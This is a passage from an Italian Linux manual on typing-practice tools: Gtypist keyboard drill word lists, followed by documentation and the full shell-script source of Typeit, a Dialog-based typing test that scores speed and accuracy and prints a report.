 :   allaga alla All all alhaja alga alfas alfalfal
 :   alfalfa alfaja Alfa alfa Alf Alaska alas alafa
 :   alada Ala ala Al al Akkad ajada aja aj ahas aha ah
 :   Agfa agallada agalla agaça AG Ag AfA afa ads adds
 :   add adala adahala Ada ad Aas Aal
#
*:RIGA_SUPERIORE_S_1
I:Riga superiore con la mano sinistra 1
D:   adagereste adattate adatte addestrata afa affare
 :   afferrereste afferrerete affettereste affetterete
 :   affrettereste affretterete araste arata arerete
 :   arreda arrederete arresa arrestereste arresterete
 :   arretrereste arretrerete asse assesta assesterete
 :   assetata atta atte atterrata atterrate attestasse
 :   attestaste attrasse daffare dataste datata degrada
 :   degradare derrata derrate destaste destata
#
*:RIGA_SUPERIORE_S_2
I:Riga superiore con la mano sinistra 2
D:   detergere detersa detestate detestereste dettate
 :   dette era ere errare errasse erte esagera
 :   esagererete esatta estate estesa fara fare fatte
 :   fede feste fetta fredde frega gas gatta gettate
 :   gettereste grate gratta gratterete gregge
 :   raffreddaste raffreddata rasare rasasse rassetta
 :   rassettare rata rate regge reggere restasse
 :   restaste rete retta sarta sarte sedata sedate sega
#
*:RIGA_SUPERIORE_S_3
I:Riga superiore con la mano sinistra 3
D:   segare segregata segregate serrare serrasse sesta
 :   seta sfere sfratta sfratterete sfrega sgrassare
 :   sgrassasse stadera staffa stasera stata strada
 :   strade stretta strette tardasse tardaste targa
 :   tartassa tartasserete tassa tassereste tasserete
 :   tastereste tasterete terrestre tersa tesserare
 :   tesserasse tessereste tesserete testata testate
 :   trae trarre trattaste trattata
#
*:RIGA_SUPERIORE_D_1
I:Riga superiore con la mano destra 1
D:   yuppy yup yuk youyou you yolk yo yip uphill up
 :   uopo ululò ululo ululi uh pupullò pupullo pupulli
 :   puppy pupil pup puoi può pulpy pulp pull pulii pu
 :   pou populo poppy popolò popolo popoli pop poop
 :   pool pooh polyp polo pollo polli poll polipo
 :   polipi polio poli pol poky poilu poil poi ply plu
```

```
 :   ploy plop pli più pip pioppo pioppi pioli pio
#
*:RIGA_SUPERIORE_D_2
I:Riga superiore con la mano destra 2
D:   pilou pill pii piè pi phil oui où ou oppio oliò
 :   olio olii oli olà ok oily oil oho ohi oh luppolo
 :   lupo lupi lull lui lu loup lop loopy loop look
 :   lollypop lollipop loll loi lo lippu lip lily li là
 :   kp kooky kook klipp kilo killjoy kill joy joujou
 :   joui jolly joli io ill ilk il hypo hull hulk hui
 :   huh hop hoop hooky hookup hook holy holly hohl ho
 :   hl hippy hippo hip hilly hill hi
#
*:RIGA_SUPERIORE_1
I:Riga superiore con entrambe le mani 1
D:   adagerà additereste adirare adotti afferrò
 :   affilerò affrettata aggrappare agitereste
 :   allargaste alleiate altre appello appostassero
 :   aprirla arrederete arrotate aspettò asserto
 :   assisterla assuefatti attestassi augurassero
 :   datata degradare deperirai deputato desta deturpai
 :   diffidare dilapideresti dilettiate dirupo
 :   disgreghi disputassero dissipò distrarsi dosare
 :   durerò eleggo erede esagerati eseguirà espiare
#
*:RIGA_SUPERIORE_2
I:Riga superiore con entrambe le mani 2
D:   esserti fardello ferii figlio fisserò fodero
 :   fratte frugherà fruttereste gaio gelida gilè
 :   gioiello giurate graduate gretto guardi guido
 :   halters hashish heap hep hippest hooded hosted
 :   hulas idolatrerò irreligioso ispettore itererò
 :   jetties juggled kilt laser legassero lesti
 :   listereste logoriate odorate oltrepassati oraria
 :   orsi ospitò paffutella palpaste parere partoriste
 :   paura perdete perquisirai pestiferi piè pigola più
#
*:RIGA_SUPERIORE_3
I:Riga superiore con entrambe le mani 3
D:   popolosi posdatassero potassero predisposti
 :   prelato presterai professassero progrediti
 :   propositi prosperò prototipo purga quaggiù questi
 :   rado raggruppo rapereste rassettaste reati reggerà
 :   relitto respiriate retrodatereste riepilogherei
 :   rifuggiste rilegherei ripassereste riposai risalti
 :   risposto ritirereste rugiada salassassero salpato
 :   saprà sederti seguitare sequestrati sfido
 :   sfoderasse sfregasse sgrassaste sigarette
#
*:RIGA_SUPERIORE_4
I:Riga superiore con entrambe le mani 4
D:   slegherai sode soli sopporterà sorrisi sosterai
 :   spara sparpagliò sperderà spettassero spillereste
```

```
 :   spoglierò spregiare squarterò statale stipulate
 :   storpierò strepitò stritoleresti stupirai
 :   suffragati superata susseguire taglierai tarperà
 :   tastassi telegrafati tessereresti tirasti tollero
 :   torturerò tradita traghetterà trasferirlo
 :   trasportiate trepida trite truppe udii urlare
 :   usufruisti waits wassailed wedder whalers
 :   whitewalls wilds woefully worsted yea
#
*:RIGA_SUPERIORE_M_1
I:Riga superiore con le maiuscole 1
D:   Afar Affair Afrodite Agatha Aldo Alessio Algeria
 :   Algiers Alighieri Aosta Apollo Apothéose Arturo
 :   Australia Austria Dallas Darida Delphi Eagles
 :   Egitto Elia Elliotte Ellis Eulero Fedora Ferrari
 :   Filippo Ford Fred Friday Fuji Fujitsu Galileo
 :   Gauss Georgia Gerardo Gert Giorgio Giosuè Giulio
 :   Giuseppe Golia Greg Gregoire Gregory Gretel Hayes
 :   Hewlett Hoepli Iraq IRQ Israele Italia Italy
 :   Jerrold Jerry Jersey Joliet Jukka Kelley Klaus
#
*:RIGA_SUPERIORE_M_2
I:Riga superiore con le maiuscole 2
D:   Korea Korpela Kurdish Kurt Kuwait Lafayette Larry
 :   Leopardi Leopoldo LIFO Lira Lord Loris Louis
 :   Lourdes Luigi ORF Paolo Paride Paris Pegasus
 :   Pesaro Peseta Pfeifer Philips Piero Pierre Pietro
 :   Pirelli Pisa Pistoia Portogallo Powell Pula
 :   Rudolph Rush Russell Russia Saffo Saudita Sergio
 :   Silea Siria Solaris Sperry Tardif Tatu Ted Teresa
 :   Turati Urdu Uruguay Wales Walsh Waterlo Wesley
 :   Wietse Wright Yggdrasil Yiddish York
#
*:RIGA_INFERIORE_S_1
I:Riga inferiore con la mano sinistra 1
D:   abbassa abbassava accada accasa accasava afa bada
 :   badava basa basava bassa bava bazza cada
 :   casa casacca casca cascava cassa cava cavava dava
 :   fava gas gazza sacca sbava sbavava scada scassa
 :   scassava scava scavava svaga svagava vacca vada
 :   vaga vagava vasca zac
#
*:RIGA_INFERIORE_S_2
I:Riga inferiore con la mano sinistra 2
D:   zac vasca vagava vaga vada vacca svagava svaga
 :   scavava scava scassava scassa scada sbavava sbava
 :   sacca gazza gas fava dava cavava cava cassa
 :   cascava casca casacca casa cada bazza bava
 :   bassa basava basa badava bada afa accasava accasa
 :   accada abbassava abbassa
#
*:RIGA_INFERIORE_D_1
I:Riga inferiore con la mano destra 1
```

```
D:   nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb
 :   màn màm màl màb mà lùb lòn lò lkm lb làn làmh là
 :   km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl
 :   bhàn bhà bh bàn bà
#
*:RIGA_INFERIORE_D_2
I:Riga inferiore con la mano destra 2
D:   km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl
 :   màn màm màl màb mà lùb lòn lò lkm lb làn làmh là
 :   nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb
 :   bhàn bhà bh bàn bà
#
*:RIGA_INFERIORE_1
I:Riga inferiore con entrambe le mani 1
D:   abbassa abbassò accasa accasò acclamava ad affama
 :   affamò affannava al alba alga allaga allagò alzava
 :   ama amalgama amalgamò ammacca ammaccò ammalava
 :   ammassa ammassò ammazzava amò anca andò ansava
 :   avallava avanza avanzò bada badò bagnava baldanza
 :   ballava balza balzò banca basa basò bava blanda
 :   cagna calava calcagna calma calmò calva
 :   calzava canna casacca cascava cassa cavalcava
 :   cavava da dal dama danna dannò danzava dava fa
#
*:RIGA_INFERIORE_2
I:Riga inferiore con entrambe le mani 2
D:   falla falsa fan gala gamba gas ha kg là lagnanza
 :   lagnò lana lasagna lava lavanda lavò madama magma
 :   mal malsana mamba mammà mancanza mancò mandava
 :   manna massa nana sa sala salassava salava saldava
 :   salga salò salva salvava san sanava sansa sballava
 :   sbalza sbalzò sbava sbavò scala scalda scaldò
 :   scalza scansava scassa scassò scavalca scavalcò
 :   scavò sfamava svaga svagò vacanza vada vagava val
 :   valga vana vangava vasca zanna
#
*:RIGA_INFERIORE_M_1
I:Riga inferiore con le maiuscole 1
D:   Abbas Adam Adan Addams Afghans Ahmad Ajax Ala
 :   Alabaman Alan Alaska Alaskans Aldan Allahabad Alma
 :   Alva Amman Andaman Anna Anshan Asama Assad Ava
 :   Baal Bach Baghdad Bahamas Balkans Ball Banach Bass
 :   Blacks Blvd Callaghan Callas Canada Casals Chad
 :   Chan Changsha Dada Dan Dhaka Fahd Falkland Fla
#
*:RIGA_INFERIORE_M_2
I:Riga inferiore con entrambe le mani 2
D:   Galahad Gall Gdansk Glass Hahn Hal Hals Haman Hank
 :   Hannah Havana JFK Jamaal Jan Janna Javas Kafka
 :   Kama Kans Kansans Kazakh Khan Klansman Laban Lana
 :   Lang Lassa Lhasa MHz Mach Mack Madagascans Malacca
 :   Manama Manx Mashhad Max Mazda McCall Nan Nanchang
 :   Nazca Sachs Sagan Saks Salas Sam Sana Sang Sasha
```

```
 :   Shaka Shanna Slavs Val Van Vang Xmas
#
G:MENU
```

Ammesso che il file si chiami come previsto, per utilizzarlo basta usare il comando seguente:

$ **gtypist italiano.typ** [*Invio*]

Ecco come si presenta Gtypist quando viene avviato in questo modo:

```
                       Esercitazioni per la tastiera italiana
  tasti base con la mano sinistra 1      riga superiore con entrambe le mani 2
  tasti base con la mano sinistra 2      riga superiore con entrambe le mani 3
  tasti base con la mano destra 1        riga superiore con entrambe le mani 4
  tasti base con la mano destra 2        riga superiore con le maiuscole 1
  tasti base con entrambe le mani 1      riga superiore con le maiuscole 2
  tasti base con entrambe le mani 2      riga superiore con le maiuscole 3
  riga base 1                            riga inferiore con la mano sinistra 1
  riga base 2                            riga inferiore con la mano sinistra 2
  riga base 3                            riga inferiore con la mano destra 1
  riga base 4                            riga inferiore con la mano destra 2
  riga base con le maiuscole 1           riga inferiore con entrambe le mani 1
  riga base con le maiuscole 2           riga inferiore con entrambe le mani 2
  riga base con le maiuscole 3           riga inferiore con le maiuscole 1
  riga superiore con la mano sinistra 1  riga inferiore con le maiuscole 2
  riga superiore con la mano sinistra 2
  riga superiore con la mano sinistra 3
  riga superiore con la mano destra 1
  riga superiore con la mano destra 2
  riga superiore con entrambe le mani 1

Use arrowed keys to move around, SPACE or RETURN to select and ESCAPE to go back
```

16.10 Typeit

Typeit[3] è un'applicazione per la verifica dell'abilità raggiunta nella scrittura (partendo dal presupposto che le mani vengano usate correttamente), funzionante attraverso un terminale a caratteri.

Typeit è costituito da due script di shell che, a loro volta, si avvalgono del programma Dialog e di altri programmi di servizio comuni. Al termine di un'esercitazione con Typeit si ottiene la stampa di alcuni indici per la valutazione dell'abilità di scrittura.

I due script di Typeit sono quasi equivalenti, distinguendosi solo per la possibilità di mostrare o meno il testo durante la digitazione. Pertanto, lo script '**typeit-view**' consente di vedere ciò che si digita, mentre '**typeit-blind**' non fa apparire l'inserimento. I due script ('**typeit-view**' e '**typeit-blind**') possono essere collocati ovunque si voglia, nel file system, purché da lì sia possibile avviarli.

16.10.1 Esempio di utilizzo

La sintassi per utilizzare gli script di Typeit è molto semplice: è possibile indicare il nome di un file di testo contenente l'esercizio di digitazione, oppure si può omettere tale informazione.

```
typeit-view [file_lettura]
```

```
typeit-blind [file_lettura]
```

A titolo di esempio, si potrebbe voler usare il testo seguente come esercitazione.

Listato 16.65. Questo file dovrebbe essere disponibile presso: ⟨*allegati/typeit/17-esopo-due-bisacce.txt*⟩.

```
Le due bisacce
di Esopo
Ciascun uomo porta due bisacce, una davanti, l'altra dietro, ↩
↪e ciascuna delle due è piena di difetti, ma quella davanti è ↩
↪piena dei difetti altrui, quella dietro dei difetti dello stesso ↩
↪che la porta.
E per questo gli uomini non vedono i difetti che vengono da loro ↩
↪stessi, mentre vedono assai perfettamente quelli altrui.
```

Ammesso che il file si chiami '`17-esopo-due-bisacce.txt`', l'avvio di Typeit è molto semplice:

$ **`typeit-view 17-esopo-due-bisacce.txt`** [*Invio*]

Oppure:

$ **`typeit-blind 17-esopo-due-bisacce.txt`** [*Invio*]

Il programma richiede la digitazione di una riga alla volta, premendo [*Invio*] alla fine di ognuna. Se la riga inserita corrisponde esattamente a quella richiesta, si passa alla successiva, altrimenti, viene mostrata la riga errata e viene richiesto nuovamente l'inserimento della riga che non è venuta bene:

```
.-------------------------typeit---------------------------.
|                                                          |
|  Le due bisacce                                          |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

Le due bisacce [*Invio*]

```
.-------------------------typeit--------------------------.
|                                                          |
|  di Esopo                                                |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

di Esopo [*Invio*]

```
.-------------------------typeit--------------------------.
|                                                          |
|  Ciascun uomo porta due                                  |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

Ciascun uomo porta due [*Invio*]

...

...

```
.-------------------------typeit--------------------------.
|                                                          |
|  da loro stessi, mentre vedono                           |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

da loro stessi, mentre vendono [*Invio*]

Qui è stato commesso un errore, sostituendo la parola «vedono» con «vendono». L'errore viene segnalato e la riga va riscritta:

```
.-------------------------typeit---------------------------.
| !da loro stessi, mentre vendono [riga errata]            |
|  da loro stessi, mentre vedono                           |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

La riga errata è preceduta da un punto esclamativo ed è seguita dalla riga corretta da reinserire.

da loro stessi, mentre vedono [*Invio*]

...

...

```
.-------------------------typeit---------------------------.
|                                                          |
|  altrui.                                                 |
| .------------------------------------------------------. |
| |                                                      | |
| `------------------------------------------------------' |
|                                                          |
|----------------------------------------------------------|
|               <  OK  >        <Cancel>                   |
`----------------------------------------------------------'
```

altrui. [*Invio*]

Al termine dell'inserimento si ottiene automaticamente una stampa con il rapporto della digitazione, evidenziando gli errori e le righe che sono state saltate del tutto (se non si riesce a inserire una riga, è sufficiente premere [*Invio*] senza introdurre altro, per passare alla successiva). Con l'invio del rapporto alla stampa, Typeit termina di funzionare.

Naturalmente, si può abbandonare in qualunque momento il lavoro selezionando il pulsante grafico CANCEL.

Ecco come potrebbe apparire la stampa del rapporto:

```
Le due bisacce
di Esopo
Ciascun uomo porta due
bisacce, una davanti, l'altra
dietro, e ciascuna delle due
è piena di difetti, ma
quella davanti è piena dei
difetti altrui, quella dietro
```

```
 dei difetti dello stesso che
 la porta.
 E per questo gli uomini non
 vedono i difetti che vengono
!da loro stessi, mentre vendono [riga errata]
 da loro stessi, mentre vedono
 assai perfettamente quelli
 altrui.

programma utilizzato:                   /opt/typeit/bin/typeit-view
utente:                                 appunti2
data:                                   Fri Nov  2 14:15:10 CET 2007
file:                                   esopo-due-bisacce.txt
parole contenute nel file originale:    59
caratteri contenuti nel file originale: 359
righe complessive, digitate o saltate:  16
righe errate:                           1
righe abbandonate:                      0
righe corrette:                         15
righe errate:                           6 %
righe abbandonate:                      0 %
righe corrette:                         94 %
tempo impiegato:                        0:01:03
battute virtuali al minuto:             341
parole virtuali al minuto:              56
indicatore di valutazione  50 battute:  94 %
indicatore di valutazione 100 battute:  94 %
indicatore di valutazione 150 battute:  94 %
indicatore di valutazione 200 battute:  94 %
indicatore di valutazione 250 battute:  94 %
indicatore di valutazione  20 parole:   94 %
indicatore di valutazione  40 parole:   94 %
indicatore di valutazione  60 parole:   87 %
indicatore di valutazione  80 parole:   65 %
indicatore di valutazione 100 parole:   52 %
```

Alla fine del rapporto appaiono in particolare degli indicatori che potrebbero essere usati per dare una valutazione numerica allo studente, ma il valore che producono dipende da una funzione che attribuisce un peso diverso alla velocità di scrittura rispetto alla correttezza della digitazione. Naturalmente questa funzione può essere modificata per definire una valutazione più conforme con il proprio metodo valutativo.

Nella valutazione automatica si considerano due aspetti, la correttezza del testo e la velocità di inserimento. In questo caso si vede una sola riga errata, inoltre tutte le righe sono state inserite (nessuna è stata abbandonata). La velocità di scrittura è stata abbastanza elevata e si potrebbe attribuire ipoteticamente un nove, anche se ci si attende una velocità di 250 battute al minuto, oppure di 40 parole al minuto. Se invece si pretende una scrittura a 100 parole al minuto, il voto ipotetico potrebbe essere solo un cinque.

16.10.2 Menù di file

Se si avvia Typeit senza indicare alcun file, si ottiene un menù con l'elenco di quelli presenti nella directory corrente, anche se non è detto che tutti siano adatti allo svolgimento dell'esercitazione:

```
.-------------------lectures--------------------.
| .---^(-)------------------------------------. |
| |   11-riga-inferiore-destra.txt        .   | |
| |   12-riga-inferiore.txt               .   | |
| |   13-riga-inferiore-maiuscole.txt     .   | |
| |   14-esopo-volpe-uva.txt              .   | |
| |   15-esopo-volpe-maschera.txt         .   | |
| |   16-esopo-gallina-uova-oro.txt       .   | |
| |   17-esopo-due-bisacce.txt            .   | |
| |   18-esopo-contadino-serpe.txt        .   | |
| |   19-esopo-cicala-formica.txt         .   | |
| |   20-esopo-fortuna-del-cavallo.txt    .   | |
| |   21-esopo-leone-cinghiale.txt        .   | |
| |   22-esopo-pescatore.txt              .   | |
| |   23-esopo-asino-volpe-leone.txt      .   | |
| |   24-esopo-leone-toro.txt             .   | |
| |   25-esopo-aquila-ali-mozze-volpe.txt  .   | |
| '---v(+)------------------------------------' |
|                                               |
|                                               |
|                                               |
|-----------------------------------------------|
|           <  OK   >      <Annulla>            |
'-----------------------------------------------'
```

16.10.3 Preparazione degli esercizi

Per preparare un esercizio di digitazione, è sufficiente un file di testo. Il file può essere redatto indifferentemente secondo le convenzioni Unix o Dos, per quanto riguarda il codice di interruzione di riga; inoltre, non occorre fare attenzione agli spazi e nemmeno alla lunghezza delle righe, perché gli spazi superflui vengono eliminati automaticamente e le righe vengono impaginate a un'ampiezza massima stabilita.

La cosa che conta veramente nel file è che deve essere realizzato utilizzando la codifica UTF-8, ma di conseguenza, anche la configurazione locale deve prevedere tale codifica per la rappresentazione dei caratteri.

16.10.4 Il file «typeit-view»

Il file '`typeit-view`' dovrebbe essere disponibile presso ⟨*allegati/typeit/typeit-view*⟩, ma in ogni caso è visibile nel listato successivo:

```
#!/bin/sh

P_PROGRAM_NAME="$0"
P_INPUT_FILE="$1"
P_SPEED_PERCENT="100"
P_CORRECT_PERCENT="100"
P_MAX_COLUMNS="30"
P_DIALOG_WIDTH=$(($P_MAX_COLUMNS+30))
```

```
P_DIALOG_HEIGHT=10
P_DIALOG_TYPE="--inputbox"
#P_DIALOG_TYPE="--passwordbox"
P_DIALOG_TEMP=`tempfile`
touch $P_DIALOG_TEMP
#
#
#
filter () {
    #
    # «´» --> «’»   U+00B4 --> U+0027
    # «’» --> «’»   U+2019 --> U+0027
    #
    cat \
    | sed "s/´/’/g" \
    | sed "s/’/’/g" \
    | sed "s/ / /g" \
    | tr "\r" " " \
    | tr "\t" " " \
    | sed "s/  */ /g" \
    | sed "s/^  *//g" \
    | sed "s/  *$//g"
}
#
#
#
input_filter () {
    local INPUT_FILE="$1"
    local FILTERED_FILE="$2"
    #
    # «´» --> «’»   U+00B4 --> U+0027
    # «’» --> «’»   U+2019 --> U+0027
    #
    cat "$INPUT_FILE" \
        | filter \
        | fold -s -w $P_MAX_COLUMNS \
        > $FILTERED_FILE
}
#
#
#
evaluation () {
    local EXPECTED_SPEED="$1"
    local SPEED="$2"
    local CORRECTNESS="$3"
    local EVALUATION_SPEED=""
    local EVALUATION_CORRECT=""
    #
    if [ 0$SPEED -gt 0$EXPECTED_SPEED ]
    then
        SPEED="$EXPECTED_SPEED"
    fi
    #
    EVALUATION_SPEED=$(($SPEED*$P_SPEED_PERCENT/$EXPECTED_SPEED))
    #
    EVALUATION_CORRECT=$(($CORRECTNESS*$P_CORRECT_PERCENT/100))
    #
    echo $(($EVALUATION_SPEED*$EVALUATION_CORRECT/100))
}
#
```

```
#
#
report () {
    local INPUT_FILTERED="$1"
    local INPUT_FILE="$2"
    local OUTPUT_FILE="$3"
    local TIME_START="$4"
    local TIME_END="$5"
    local SOURCE_WORDS=""
    local SOURCE_CHARACTERS=""
    local TYPED_LINES=""
    local ERROR_LINES=""
    local ABANDONED_LINES=""
    local CORRECT_LINES=""
    local ERROR=""
    local ABANDONED=""
    local CORRECTNESS=""
    local ELAP_T=""
    local ELAP_H=""
    local ELAP_M=""
    local ELAP_S=""
    local SPEED_WORDS=""
    local SPEED_CHARACTERS=""
    #
    local EVAL_1=""
    local EVAL_2=""
    local EVAL_3=""
    local EVAL_4=""
    local EVAL_5=""
    local EVAL_6=""
    local EVAL_7=""
    #
    local EVAL_W1=""
    local EVAL_W2=""
    local EVAL_W3=""
    local EVAL_W4=""
    local EVAL_W5=""
    local EVAL_W6=""
    local EVAL_W7=""
    #
    local TODAY=`date`
    #
    SOURCE_WORDS=`wc -w $INPUT_FILTERED | sed "s/^\([0-9]*\) .*$/\1/"`
    SOURCE_CHARACTERS=`wc -m $INPUT_FILTERED | sed "s/^\([0-9]*\) .*$/\1/"`
    TYPED_LINES=`wc -l $OUTPUT_FILE | sed "s/^\([0-9]*\) .*$/\1/"`
    ERROR_LINES=`cat $OUTPUT_FILE | grep "^!" | wc -l | sed "s/^\([0-9]*\) .*$/\1/"`
    ABANDONED_LINES=`cat $OUTPUT_FILE | grep "^?" | wc -l | sed "s/^\([0-9]*\) .*$/\1/"`
    CORRECT_LINES=`cat $OUTPUT_FILE | grep -v "^[!?]" | wc -l | sed "s/^\([0-9]*\) .*$/\1/"`
    ERROR=$(($ERROR_LINES*100/$TYPED_LINES))
    ABANDONED=$(($ABANDONED_LINES*100/$TYPED_LINES))
    CORRECTNESS=$((100-$ERROR-$ABANDONED))
    ELAP_T=$(($TIME_END-$TIME_START))
    ELAP_H=$(($ELAP_T/60/60))
    ELAP_M=$((($ELAP_T-($ELAP_H*60*60))/60))
    ELAP_S=$(($ELAP_T-($ELAP_H*60*60)-($ELAP_M*60)))
    ELAP_M=`printf "%02d" "$ELAP_M"`
    ELAP_S=`printf "%02d" "$ELAP_S"`
    SPEED_CHARACTERS=$((($SOURCE_CHARACTERS*60)/$ELAP_T))
    SPEED_WORDS=$((($SOURCE_WORDS*60)/$ELAP_T))
    #
```

```
    EVAL_1=`evaluation  50 $SPEED_CHARACTERS $CORRECTNESS`
    EVAL_2=`evaluation 100 $SPEED_CHARACTERS $CORRECTNESS`
    EVAL_3=`evaluation 150 $SPEED_CHARACTERS $CORRECTNESS`
    EVAL_4=`evaluation 200 $SPEED_CHARACTERS $CORRECTNESS`
    EVAL_5=`evaluation 250 $SPEED_CHARACTERS $CORRECTNESS`
    #
    EVAL_W1=`evaluation  20 $SPEED_WORDS $CORRECTNESS`
    EVAL_W2=`evaluation  40 $SPEED_WORDS $CORRECTNESS`
    EVAL_W3=`evaluation  60 $SPEED_WORDS $CORRECTNESS`
    EVAL_W4=`evaluation  80 $SPEED_WORDS $CORRECTNESS`
    EVAL_W5=`evaluation 100 $SPEED_WORDS $CORRECTNESS`
    #
    echo ""                                                  >> $OUTPUT_FILE
    echo "programma utilizzato:                   $P_PROGRAM_NAME" \
                                                             >> $OUTPUT_FILE
    echo "utente:                                 $USER"        >> $OUTPUT_FILE
    echo "data:                                   $TODAY"       >> $OUTPUT_FILE
    echo "file:                                   $INPUT_FILE"  >> $OUTPUT_FILE
    echo "parole contenute nel file originale:    $SOURCE_WORDS" \
                                                             >> $OUTPUT_FILE
    echo "caratteri contenuti nel file originale: $SOURCE_CHARACTERS" \
                                                             >> $OUTPUT_FILE
    echo "righe complessive, digitate o saltate:  $TYPED_LINES" >> $OUTPUT_FILE
    echo "righe errate:                           $ERROR_LINES" >> $OUTPUT_FILE
    echo "righe abbandonate:                      $ABANDONED_LINES" >> $OUTPUT_FILE
    echo "righe corrette:                         $CORRECT_LINES" \
                                                             >> $OUTPUT_FILE
    echo "righe errate:                           $ERROR %"     >> $OUTPUT_FILE
    echo "righe abbandonate:                      $ABANDONED %" >> $OUTPUT_FILE
    echo "righe corrette:                         $CORRECTNESS %" \
                                                             >> $OUTPUT_FILE
    echo "tempo impiegato:                        $ELAP_H:$ELAP_M:$ELAP_S" \
                                                             >> $OUTPUT_FILE
    echo "battute virtuali al minuto:             $SPEED_CHARACTERS" \
                                                             >> $OUTPUT_FILE
    echo "parole virtuali al minuto:              $SPEED_WORDS" >> $OUTPUT_FILE
    echo "indicatore di valutazione  50 battute:  $EVAL_1 %"    >> $OUTPUT_FILE
    echo "indicatore di valutazione 100 battute:  $EVAL_2 %"    >> $OUTPUT_FILE
    echo "indicatore di valutazione 150 battute:  $EVAL_3 %"    >> $OUTPUT_FILE
    echo "indicatore di valutazione 200 battute:  $EVAL_4 %"    >> $OUTPUT_FILE
    echo "indicatore di valutazione 250 battute:  $EVAL_5 %"    >> $OUTPUT_FILE
    echo "indicatore di valutazione  20 parole:   $EVAL_W1 %"   >> $OUTPUT_FILE
    echo "indicatore di valutazione  40 parole:   $EVAL_W2 %"   >> $OUTPUT_FILE
    echo "indicatore di valutazione  60 parole:   $EVAL_W3 %"   >> $OUTPUT_FILE
    echo "indicatore di valutazione  80 parole:   $EVAL_W4 %"   >> $OUTPUT_FILE
    echo "indicatore di valutazione 100 parole:   $EVAL_W5 %"   >> $OUTPUT_FILE
}
#
#
#
print () {
    local OUTPUT_FILE="$1"
    #
    # Enscript is not able to work with UTF-8.
    #
    recode -f UTF-8..Latin1 $OUTPUT_FILE
    #
    # Convert to PostScript.
    #
    cat $OUTPUT_FILE \
```

```
        | /usr/bin/enscript -X 88591 -1 -M a4 -f Courier@8.5/9.5 \
          --header "%N - %n - %F %C - p. \$%/\$= - $IPV4" \
          --header-font="Times-Roman@9/12" \
          --margin=72:72:72:72 -o - 2> "/dev/null" \
        > $OUTPUT_FILE.ps
    #
    lpr $OUTPUT_FILE.ps
}
#
#
#
typeit_loop () {
    local ORIGINAL_LINE=""
    local WRITTEN_LINE=""
    local ERROR_LINE=""
    #
    while read ORIGINAL_LINE
    do
        if [ "$ORIGINAL_LINE" = "" ]
        then
            continue
        else
            while [ "$ORIGINAL_LINE" != "$WRITTEN_LINE" ]
            do
                WRITTEN_LINE=""
                if dialog  \
                    --title "typeit" \
                    $P_DIALOG_TYPE \
                    "$ERROR_LINE\n $ORIGINAL_LINE" \
                    $P_DIALOG_HEIGHT $P_DIALOG_WIDTH \
                    "$WRITTEN_LINE" \
                    2> $P_DIALOG_TEMP
                then
                    WRITTEN_LINE=`cat $P_DIALOG_TEMP | filter`
                    echo "" > $P_DIALOG_TEMP
                    #
                    if   [ "$WRITTEN_LINE" = "" ]
                    then
                        ERROR_LINE="?$ORIGINAL_LINE     [riga non inserita]"
                        echo "$ERROR_LINE" 1>&2
                        break
                    elif [ "$ORIGINAL_LINE" = "$WRITTEN_LINE" ]
                    then
                        ERROR_LINE=""
                        echo " $WRITTEN_LINE" 1>&2
                        break
                    else
                        ERROR_LINE="!$WRITTEN_LINE      [riga errata]"
                        echo "$ERROR_LINE" 1>&2
                    fi
                else
                    exit
                fi
            done
        fi
    done
}
#
#
#
```

```
menu () {
    local MENU_LIST=""
    #
    for f in *
    do
        if [ -r "$f" ]
        then
            MENU_LIST="$MENU_LIST $f ."
        fi
    done
    #
    if dialog   \
        --clear \
        --title "lectures" \
        --menu "" \
        0 0 0 \
        $MENU_LIST \
        2> $P_DIALOG_TEMP
    then
        P_INPUT_FILE=`cat $P_DIALOG_TEMP`
        echo "" > $P_DIALOG_TEMP
    else
        exit
    fi
}
#
#
#
main () {
    local INPUT_FILTERED
    local TIME_START=""
    local TIME_END=""
    local OUTPUT_FILE=`tempfile`
    touch $OUTPUT_FILE
    local INPUT_FILTERED=`tempfile`
    touch $INPUT_FILTERED
    #
    if [ -r "$P_INPUT_FILE" ]
    then
        true
    else
        menu
    fi
    #
    if [ -f "$P_INPUT_FILE" ] && [ -r "$P_INPUT_FILE" ]
    then
        input_filter "$P_INPUT_FILE" "$INPUT_FILTERED"
        TIME_START=`date +%s`
        typeit_loop < "$INPUT_FILTERED" 2>> $OUTPUT_FILE
        TIME_END=`date +%s`
        report "$INPUT_FILTERED" "$P_INPUT_FILE" "$OUTPUT_FILE" \
               "$TIME_START" "$TIME_END"
        print $OUTPUT_FILE
    else
        echo "Cannot access file \"$P_INPUT_FILE\"!"
    fi
    if [ -f $OUTPUT_FILE ]
    then
        rm $OUTPUT_FILE
    fi
```

```
    if [ -f $OUTPUT_FILE.ps ]
    then
        rm $OUTPUT_FILE.ps
    fi
    if [ -f $INPUT_FILTERED ]
    then
        rm $INPUT_FILTERED
    fi
}
#
# Start of program
#
main "$1"
rm $P_DIALOG_TEMP
#
```

16.10.5 Il file «typeit-blind»

Lo script '`typeit-blind`' dovrebbe essere disponibile presso ⟨*allegati/typeit/typeit-blind*⟩, ma in ogni caso si tratta di una piccola variante rispetto a '`typeit-view`', con lo scopo di non mostrare la digitazione in corso. In pratica, la modifica consiste in questo:

```
...
P_DIALOG_HEIGHT=10
#P_DIALOG_TYPE="--inputbox"
P_DIALOG_TYPE="--passwordbox"
P_DIALOG_TEMP=`tempfile`
touch $P_DIALOG_TEMP
...
```

[1] **Ktouch** GNU GPL

[2] **Gtypist** GNU GPL

[3] **Typeit** GNU GPL

Terminali per non vedenti

